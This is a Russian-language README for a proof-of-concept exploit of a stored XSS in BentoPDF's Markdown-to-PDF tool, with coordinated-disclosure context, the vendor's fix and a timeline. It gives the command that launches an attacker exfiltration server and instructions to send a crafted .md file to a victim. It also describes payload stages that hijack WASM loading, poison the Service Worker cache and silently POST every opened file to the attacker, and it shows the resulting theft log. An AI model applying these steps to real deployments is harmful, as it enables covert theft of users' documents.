
Эксплойт proof-of-concept для CVE-2026-41653, хранимой XSS-уязвимости в BentoPDF, которая позволяет скрытую эксфильтрацию файлов и перехват цепочки поставок WASM.
Обнаружено и сообщено: Astaruf
Полное описание: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
Консультация вышестоящего проекта: alam00000/bentopdf GHSA advisory
Запись в NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF — это самохостинговый PDF-инструментарий, работающий на стороне браузера (сжатие, объединение, разделение, поворот, конвертация, Markdown-to-PDF и т. д.).
Инструмент Markdown-to-PDF пропускает пользовательский Markdown через markdown-it с параметром html: true и вставляет отрендеренный результат напрямую в DOM через innerHTML без какой-либо санитизации. Атакующий, доставивший специально сформированный файл .md, добивается выполнения произвольного JavaScript в origin BentoPDF.
Поскольку BentoPDF — полностью клиентское приложение, каждый инструмент (Compress PDF, Merge PDF, Split PDF и т. д.) загружает и обрабатывает файлы непосредственно в браузере жертвы. Одного XSS достаточно, чтобы незаметно эксфильтровать каждый документ, который жертва открывает в любом инструменте в течение сессии.
Атакующий отправляет report.md (содержащий )
-> Жертва открывает его в Markdown-to-PDF
-> markdown-it рендерит сырой HTML (html: true)
-> preview.innerHTML = html (без DOMPurify)
-> poc_payload.js загружается с сервера атакующего (без CSP)
-> FileReader + <input type=file> перехватываются во всём приложении
-> скрытое всплывающее окно повторно внедряет хуки при каждой навигации по инструментам
-> каждый файл, открытый жертвой, незаметно эксфильтруется
localStorage['bentopdf:wasm-providers'], перенаправляя загрузки WASM-модулей PyMuPDF, Ghostscript и cpdf на контролируемый атакующим хост.window.opener и повторно внедряет хуки для файлов каждый раз, когда жертва переходит к другому инструменту, сохраняя доступ на протяжении всей сессии.bentopdf-*, добавляя хук эксфильтрации к каждому файлу /assets/*.js, обслуживаемому браузеру, за пределами текущей сессии.markdown-it (CWE-79)src/js/utils/markdown-editor.ts (строки 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // сырые HTML-теги проходят через парсер markdown
breaks: false,
linkify: true,
typographer: true,
};
Теги, такие как ``, <svg>, <details>, и любые атрибуты обработчиков событий (onerror, onload, ontoggle), передаются в DOM как есть.
innerHTML (CWE-116)src/js/utils/markdown-editor.ts (строки 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // контролируемый атакующим HTML вставляется в DOM
this.renderMermaidDiagrams();
}
Между markdown-it и innerHTML не применяется никакая библиотека санитизации. Браузер разбирает вставленную строку, обнаруживает встроенный обработчик событий и немедленно выполняет его.
nginx.conf поставляется без заголовка Content-Security-Policy. Внедрённый JavaScript может свободно загружать внешние скрипты, отправлять запросы fetch() на любой хост и открывать всплывающие окна. Ограничительная CSP предотвратила бы этап загрузки внешних скриптов даже при сохранении самой уязвимости.
# Запустите сервер атакующего для эксфильтрации
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py будет:
# - генерировать полезную нагрузку poc_report.md в текущем каталоге
# - начать прослушивание обратных вызовов жертвы и эксфильтрованных файлов
Отправьте poc_report.md жертве и попросите открыть его в BentoPDF → Markdown-to-PDF. Полезная нагрузка срабатывает в момент рендеринга предпросмотра, и все файлы, которые жертва загрузит в будущем, эксфильтруются на сервер атакующего.
| Параметр | По умолчанию | Описание |
|---|---|---|
--lhost | обязательный | IP-адрес, доступный браузеру жертвы |
--lport | 9999 | Порт прослушивания |
--loot-dir | ./loot/ | Каталог, куда сохраняются эксфильтрованные файлы |
--log-file | нет | Добавлять все события в файл (ANSI-коды удаляются) |
--no-color | выкл. | Отключить ANSI-цвета в выводе терминала |
1. Сервер атакующего запущен с --lhost и --lport. Вредоносный poc_report.md генерируется автоматически.
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC by Astaruf (https://nstsec.com)
========================================================================
Exfiltration server: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Loot dir: /home/kali/loot
========================================================================
Malicious .md file ready: /home/kali/poc_report.md
Send it to the victim and ask them to open it in Markdown-to-PDF tool.
The payload fires as soon as the preview renders.
========================================================================
Waiting for victims...
2. Жертва открывает инструмент Markdown-to-PDF в BentoPDF.

3. Жертва загружает poc_report.md. Предпросмотр рендерится, `` не загружается, срабатывает onerror. poc_payload.js загружается с сервера атакующего без блокировки CSP.

4. Полезная нагрузка выполняет четыре этапа: перехват WASM-провайдеров через localStorage, запуск монитора всплывающего окна, установка хуков FileReader и файлового ввода на текущей странице.

5. Жертва переходит к Compress PDF. Всплывающее окно обнаруживает навигацию и повторно внедряет хуки на новую страницу.

6. Жертва загружает PDF. Инструмент сжимает его в обычном режиме. Байты файла уже были отправлены методом POST на сервер атакующего.

7. Вывод сервера атакующего из проверенного запуска:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. Эксфильтрованный файл открывается как полный, валидный PDF, идентичный оригиналу.

Полезная нагрузка, встроенная в poc.py, выполняет четыре этапа последовательно:
| Этап | Что делает | Область постоянства |
|---|---|---|
| 1 | Перезаписывает localStorage['bentopdf:wasm-providers'], чтобы перенаправить все загрузки WASM-модулей на атакующего | Между сессиями браузера |
| 2 | Регистрирует /sw.js, перечисляет /assets/*.js на всех страницах инструментов, отравляет кэш Service Worker bentopdf-* хук-ом эксфильтрации | За пределами сессии браузера (только HTTPS) |
| 3 | Запускает скрытое всплывающее окно 1×1, которое опрашивает window.opener.location.href и повторно внедряет хуки для файлов после каждой навигации по инструментам | Пока вкладка BentoPDF открыта |
| 4 | Перехватывает FileReader.prototype.readAsArrayBuffer и обработчик change на уровне документа: каждый файл, к которому прикасается жертва, отправляется методом POST на сервер атакующего /file?name=<filename> | Текущая страница |
Выпущено в BentoPDF v2.8.3. Разработчик провёл аудит кодовой базы за пределами первоначально сообщённой уязвимости и устранил несколько связанных векторов:
innerHTML-приёмникам в markdown-editor.ts, включая путь Mermaid SVG, который использовал securityLevel: 'loose' и, как было обнаружено, обходил первый санитайзер.securityLevel: 'strict', а SVG-вывод повторно санитизируется с помощью SVG-профиля DOMPurify.file.name экранирован примерно на 8 страницах инструментов (Deskew, Form Filler, Remove Annotations и т. д.), где имена файлов ранее конкатенировались в HTML без санитизации.localStorage['bentopdf:wasm-providers'] отбрасываются при загрузке.nginx.conf, включая Content-Security-Policy.Минимальное исправление для первоначально сообщённой уязвимости:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
Заголовок CSP, добавленный в nginx.conf:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| Дата | Событие |
|---|---|
| 2026-04-02 | Уязвимость обнаружена |
| 2026-04-02 | Сообщено конфиденциально мейнтейнеру |
| 2026-04-17 | Мейнтейнер подтвердил |
| 2026-04-17 | Исправление внесено в сборку edge и повторно протестировано |
| 2026-04-18 | v2.8.3 выпущена с публичным упоминанием |
| 2026-04-21 | Опубликована консультация GHSA |
| 2026-04-22 | Присвоен CVE-2026-41653 |
Данный материал предоставлен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против экземпляров BentoPDF, которыми вы владеете или на тестирование которых имеете явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен. Автор не несёт ответственности за неправомерное использование.